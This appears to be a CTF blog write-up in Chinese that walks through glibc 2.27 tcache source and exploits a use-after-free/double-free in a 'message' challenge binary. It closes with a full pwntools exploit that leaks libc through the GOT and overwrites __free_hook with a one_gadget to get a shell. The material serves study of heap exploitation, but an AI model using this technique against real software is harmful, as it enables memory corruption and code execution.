Pwn Ptmalloc2 Tcache Double Free

注意
本文最后更新于 2022-08-05,文中内容可能已过时。

如未特殊说明, 均假定 libc 2.27, 64 位.

Tcache 是 glibc 2.26 加入的东西, 从 cache 这个名字也可以看出来, Tcache 机制是为了更加高效地分配堆.

高效性和安全性是两个负相关的指标. 因为其安全检查机制的不完善, 所以我们的攻击会变得更加简单.

首先还是来分析 Tcache 的源码.

malloc.c 中, 与 Tcache 有关的两个结构体如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
# define TCACHE_MAX_BINS    64
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

可以看到, tcache_entry 是一个单链表结构. 每个线程维护一个 tcache_perthread_struct 结构, 其中就有 TCACHE_MAX_BINS 个 entries 链表. 同时维护了一个 counts 数组, 表示的是每个链表的节点大小.

Tcache 和 fastbin 差不多, 每个 entrie 链表放的都是同样大小的 “chunk”. 这里 “chunk” 有意打了引号. 因为 tcache 的 entries 实际上放的是用户数据区的起始地址, 不是 chunk 的地址. 我们知道, user mem 区的头 8 个字节, 在 chunk 中是 fd 指针. 而在 tcache 中, 这头 8 个字节, 就是 next 指针! 是的, 在 tcache 中, 用户数据区域的头 8 个字节, 可以看成 struct tcache_entry 结构. 如下:

u s e r c h u n k p r s e b f i _ k d z s e i e z = = n e x t t c a c h e _ e n t r y

可以认为 next 的概念与 fd 等同, 只不过 next 指向的是 user mem.

先看一下这个链表是怎么样的一个数据结构.

free 相关部分:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  ...
#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);

    if (tcache
  && tc_idx < mp_.tcache_bins
  && tcache->counts[tc_idx] < mp_.tcache_count)
      {
  tcache_put (p, tc_idx);
  return;
      }
  }
#endif
  ...
}

啊对, 就这么简单. tcache 就是当前 arena 上的 tcache_perthread_struct 结构体, 有关它的初始化一会再说.

首先判断 tcache 有没有, 有的话判断 tc_idx 是不是 小于 mp_.tcache_bins.

tc_idx 由 csize2tidx (size) 计算得出. 有关宏如下:

1
2
3
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
// 64位下, 把宏替换掉, 结果是这样:
# define csize2tidx(x) (((x) - 0x10 - 1) / 0x10)

计算一下, 0x20 的 chunk 对应 tidx 是 0, 0x30 对应 1, 0x40 对应 2…

mp_.tcache_bins 就等于 TCACHE_MAX_BINS = 64.

1
2
3
4
5
6
7
8
# define TCACHE_FILL_COUNT 7
static struct malloc_par mp_ =
{
  ...
  .tcache_count = TCACHE_FILL_COUNT,
  .tcache_bins = TCACHE_MAX_BINS,
  ...
};

然后看对应的 entries 链表是不是满了 (tcache->counts[tc_idx] < mp_.tcache_count), 这个值在上面的代码里有, 默认是 7. 也就是一个链表里默认最多存 7 个节点.

当三个条件满足以后, 就调用 tcache_put (p, tc_idx), 将 p 对应的 entry 放入 entries[tc_idx] 链表中.

1
2
3
4
5
6
7
8
9
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

这里和 fastbin 一样, 是向头节点插入. 在插入前, 只检查了 tc_idx 是否小于 TCACHE_MAX_BINS, 再也没有如 double free, size 等其他检查了.

可以看到, 和 fastbin 一样, 没有将 INUSE 位 (next chunk 的 PREINUSE 位) 置零. 也就是说, 处于 tcache 里的 chunk 不会被合并.

再来看一下 malloc. 这回, tcache 不仅仅在 _int_malloc 中出现了, 而在高一层的封装 _libc_malloc 就有.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

void *
__libc_malloc (size_t bytes)
{
  ...
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  checked_request2size (bytes, tbytes);
  size_t tc_idx = csize2tidx (tbytes);

  if (tc_idx < mp_.tcache_bins
      /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
      && tcache
      && tcache->entries[tc_idx] != NULL)
    {
      return tcache_get (tc_idx);
    }
#endif
    ...
}

很简单就是看 tcache 对应位置有没有 entry, 有就调用 tcache_get 并返回.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

数据结构部分也很简单, 就是链表从头节点删除. 只有两个检查, 1. 下标是否越界; 2. 链表是不是有元素. 没有像 fastbin 一样对 size 的检查.

同时, 还可以看到, 由于在 _libc_malloc 中就从 tcache 中取了, 并没有进行 request2chunk 的计算. 而 tcache 中保存的就是 user mem. 更少的计算也带来的更高的效率.

(名称是凭感觉乱取的, 不知道叫啥.)

除了我们在探究 tcache 的数据结构中能够看到的这些高效机制, cache 的高效还体现在对 bins 的处理.

_int_malloc 中, 当用户从某个 bin 中取了 chunk, ptmalloc2 就会 尽力 (可能放不下或其他限制) 把这个 bin 里的其他块放入 tcache 中进行缓存. 举个例子, 假如现在某个 fastbin 中有 4 个大小相同, 都能放入 tcache 的 chunk, 当这一次打算从 unsortbin 中取 chunk, 会先把 4 个 chunk 都放入 tcache 中, 类似于 缓存, 然后从 tcache 中返回. 下次再取 3 个这样大小的, 就会从 tcache 中取了. 如果没有 tcache, 之后的三次, 每次都要执行到 _int_malloc 处理 fastbin 的部分. 如果存在 tcache, 就不存在这样的开销了.

缓存机制的源码比较多, 但看起来还是比较简单的, 这里就不放了. 结果就是, 尽可能把 bin 中的 freed chunk 放入 tcache, 减小下一次的开销.

tcache 定义和初始化有一个函数, 为方便, 只保留最基本的逻辑:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static __thread tcache_perthread_struct *tcache = NULL;
static void
tcache_init(void)
{
  mstate ar_ptr;
  void *victim = 0;
  // tcache 结构体大小
  const size_t bytes = sizeof (tcache_perthread_struct);

  // 获得当前 arena
  arena_get (ar_ptr, bytes);
  // 使用 malloc(bytes) 分配内存
  victim = _int_malloc (ar_ptr, bytes);
  /*
    一些没有分配到合适内存的处理
  */
  ...
  // 设置 tcache 并初始化
  if (victim)
    {
      tcache = (tcache_perthread_struct *) victim;
      memset (tcache, 0, sizeof (tcache_perthread_struct));
    }
}

可以看到, tcache 是保存在堆空间上的, 每个 arena 都可能有一个, 包括 main arena, 这一点与 bins 不同. main arena 的 bins 是保存在 libc 的数据上的.

不过, tcache 的初始化是 lazy 的. 在程序调用堆分配函数如 malloc, relloc 和 free 时 (不明白为什么 free 里也要), 会调用 MAYBE_INIT_TCACHE(); 这么一个宏. 比如:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void
__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook);
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0));
      return;
    }

  if (mem == 0)                              /* free(0) has no effect */
    return;

  p = mem2chunk (mem);

  if (chunk_is_mmapped (p))                       /* release mmapped memory. */
    {
      /* See if the dynamic brk/mmap threshold needs adjusting.
   Dumped fake mmapped chunks do not affect the threshold.  */
      if (!mp_.no_dyn_threshold
          && chunksize_nomask (p) > mp_.mmap_threshold
          && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX
    && !DUMPED_MAIN_ARENA_CHUNK (p))
        {
          mp_.mmap_threshold = chunksize (p);
          mp_.trim_threshold = 2 * mp_.mmap_threshold;
          LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
                      mp_.mmap_threshold, mp_.trim_threshold);
        }
      munmap_chunk (p);
      return;
    }

  MAYBE_INIT_TCACHE ();

  ar_ptr = arena_for_chunk (p);
  _int_free (ar_ptr, p, 0);
}

这个宏如下:

1
2
3
# define MAYBE_INIT_TCACHE() \
  if (__glibc_unlikely (tcache == NULL)) \
    tcache_init();

实际上就是, 如果 tcache 还没有的话, 就初始化, 有就不用管它. (可能 alloc 的时候初始化失败了, tcache 还是 NULL, 然后可以尝试在 free 里初始化?, 不懂)

每个 arena lazy 初始化一个 tcache, tcache 中有 64 个链表, 存不同的 entry, 且存的是 user mem, next 和 fd 位置一致. 每个链表节点不超过 7 个. 存取时的检查和没有一样, 非常方便攻击. 如果从 bins 中取了 chunk, 那么会尝试将其他 freed chunk 缓存入 tcache.

由于没有检查, 所以直接连续 free 都是可行的. 当然中间夹一个其他 free 也可以 (这样就和 fastbin double free 几乎一样了, 方便写成函数直接调用?).

Double Free 部分见 Pwn Ptmalloc2 Fastbin Double Free

glibc 2.27. 64 位 ELF, Full RELRO, 没开 PIE, 其他全开.

增删改查一应俱全, message 结构:

1
2
3
4
typedef struct Msg {
  int len;
  char *str;
} Msg;

全局变量有个 Msg 数组 msglist[10].

add:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void __fastcall add()
{
  int i; // [rsp+8h] [rbp-28h]
  int len; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( num <= 10 )
  {
    puts("Please input the length of message:");
    read(0, buf, 8uLL);
    len = atoi(buf);
    if ( len <= 0 )
    {
      puts("Length is invalid!");
    }
    else
    {
      for ( i = 0; i <= 9; ++i )
      {
        if ( !msglist[i].str )
        {
          msglist[i].len = len;
          msglist[i].str = (char *)malloc(len);
          puts("Please input the message:");
          read(0, msglist[i].str, len);
          ++num;
          return;
        }
      }
    }
  }
  else
  {
    puts("Message is full!");
  }
}

delete:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 delete()
{
  int idx; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( num <= 0 )
  {
    puts("There is no message in system");
  }
  else
  {
    puts("Please input index of message you want to delete:");
    read(0, buf, 8uLL);
    idx = atoi(buf);
    if ( idx < 0 || idx > 9 )
    {
      puts("Index is invalid!");
    }
    else
    {
      free(msglist[idx].str);
      msglist[idx].len = 0;
      --num;
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

edit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 edit()
{
  int idx; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( num <= 0 )
  {
    puts("No message can you edit");
  }
  else
  {
    puts("Please input index of message you want to edit:");
    read(0, buf, 8uLL);
    idx = atoi(buf);
    if ( msglist[idx].len && idx >= 0 && idx <= 9 )
    {
      puts("Now you can edit the message:");
      read(0, msglist[idx].str, (int)msglist[idx].len);
    }
    else
    {
      puts("Index is invalid!");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

display:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 display()
{
  int idx; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( num <= 0 )
  {
    puts("No message in system");
  }
  else
  {
    puts("Please input index of message you want to display:");
    read(0, buf, 8uLL);
    idx = atoi(buf);
    if ( msglist[idx].len && idx >= 0 && idx <= 9 )
      printf("The message: %s\n", msglist[idx].str);
    else
      puts("Index is invalid!");
  }
  return __readfsqword(0x28u) ^ v3;
}

漏洞主要出现在删除部分. 可以看到, free 后指针没有清空, 仅仅是设置了 len 为 0. edit 和 display 的时候是通过 len 来判断的, 而不是通过指针是否为空. 而 delete 仅仅是判断了下标是否正确.

所以这里可以很简单地构造 Tcache double free. 且 next 是可控制的, 从 tcach 中取又不需要任何伪造. 于是, 利用 double free, 构造 next entry 指向 msglist 的某个 str 部分. 这样我们就有了任意地址读写的功能了.

比如说, 先 add(0x10) 两次, msglist[] 如下图左, 此时堆如下图右:

u u s s e e r 0 r 0 x x m 1 m 1 e 0 e 0 m m 1 0 p p r r e e s s i i z z e e ( ( 0 0 ) ) s s i i z z e e ( ( 0 0 x x 2 2 1 1 ) )

然后 free(1) 两次, 此时 tcache.entries[0] 链表头节点指向 user mem 1, 由于 double free, user mem 1 位置的值也是 user mem 1 的地址. 也就是说, 此时链表 当中的唯一一个节点自己构成了环:

0 x 1 0 u s e r m e m 1

然后再申请同样大小 (0x10) 的 chunk, 会取得 user mem 1 位置, 也就是 msglist[2].str = msglist[1].str. 此时若不进行写入, 那么上面的 “链表” 结构完全没有变化. 但如果我们将其写成其他值, 那么再进行两次申请, 第二次就会得到我们修改成的那个值了.

观察到 msglist[0].str 具有读写功能, 而程序没有 PIE, 可以很轻松知道它的位置. 利用 edit 功能, 将 msglist[2].str 指向的位置, 写入 &msglist[0].str. 此时 entries 里, 头节点的 next 就指向 msglist[0].str 了:

u u u s s s e e e r 0 r r 0 x 0 x m 1 m m 1 e 0 e e 0 m m m 1 1 0 p p p r r r e e e s s s i & i i z m z z e s e e ( g ( ( 0 l 0 0 ) i ) ) s t [ 0 ] s . s s i s i i z t z z e r e e ( ( ( 0 0 0 x x x 2 2 2 1 1 1 ) ) )
0 x 1 0 u s e r m e m 1 & m s g l i s t [ 0 ] . s t r

然后申请第 3 个, 得到的还是 user mem 1 (头), 但是第四个, 就有 msglist[4].str = &msglist[0].str 了. 接下来 edit 4, 可以改变 msglist[0].str 的值, display 0 和 edit 0 可以对该值指向的位置进行读写. 这不就是任意位置读写吗!

接下来就是攻击. 由于 got 不可写, 所以尝试修改 __free_hook 到 onegadget. 这样我们需要知道 libc 的地址. 可以先读某个已经调用过的库函数 got 表中的内容 (由于没开 PIE, got 表地址很容易得知). 泄漏了 libc 后, 根据偏移计算出 __free_hook, 写入 onegadget. 然后通过 delete 触发 __free_hook 实现攻击.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './message'

io = process(procname)
# io = remote()
elf = ELF(procname)
libc = ELF('/home/wings/CTF/tools/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')

def n2b(x):
  return str(x).encode()

def op(x):
  io.sendlineafter(b": ", n2b(x))

def add(len, msg):
  op(1)
  io.sendlineafter(b':\n', n2b(len))
  io.sendafter(b':\n', msg)

def delete(idx):
  op(2)
  io.sendlineafter(b':\n', n2b(idx))

def edit(idx, msg):
  op(3)
  io.sendlineafter(b':\n', n2b(idx))
  io.sendafter(b':\n', msg)

def display(idx):
  op(4)
  io.sendlineafter(b':\n', n2b(idx))
  io.recvuntil(b'The message: ')
  return io.recvline(keepends=False)

def main():
  add(0x10, b'zzzz') # 0
  add(0x10, b'aaaa') # 1
  delete(1)
  delete(1)

  msglist = 0x0602060
  fake_mem = msglist + 0x08
  add(0x10, p64(fake_mem)) # 2 = 1
  add(0x10, b'bbbb')     # 3 = 1
  got_atoi = elf.got['atoi']
  add(0x10, p64(got_atoi)) # 4 = fake mem

  atoi = u64(display(0).ljust(8, b'\x00'))
  success(f'atoi addr: {hex(atoi)}')
  libc_base = atoi - libc.sym['atoi']
  success(f'libc base: {hex(libc_base)}')
  free_hook = libc_base + libc.sym['__free_hook']
  success(f'free hook: {hex(free_hook)}')

  onegadget = [0x4f2c5, 0x4f322, 0x10a38c]
  edit(4, p64(free_hook))
  edit(0, p64(onegadget[1] + libc_base))

  delete(0)
  io.interactive()

if __name__ == '__main__':
  main()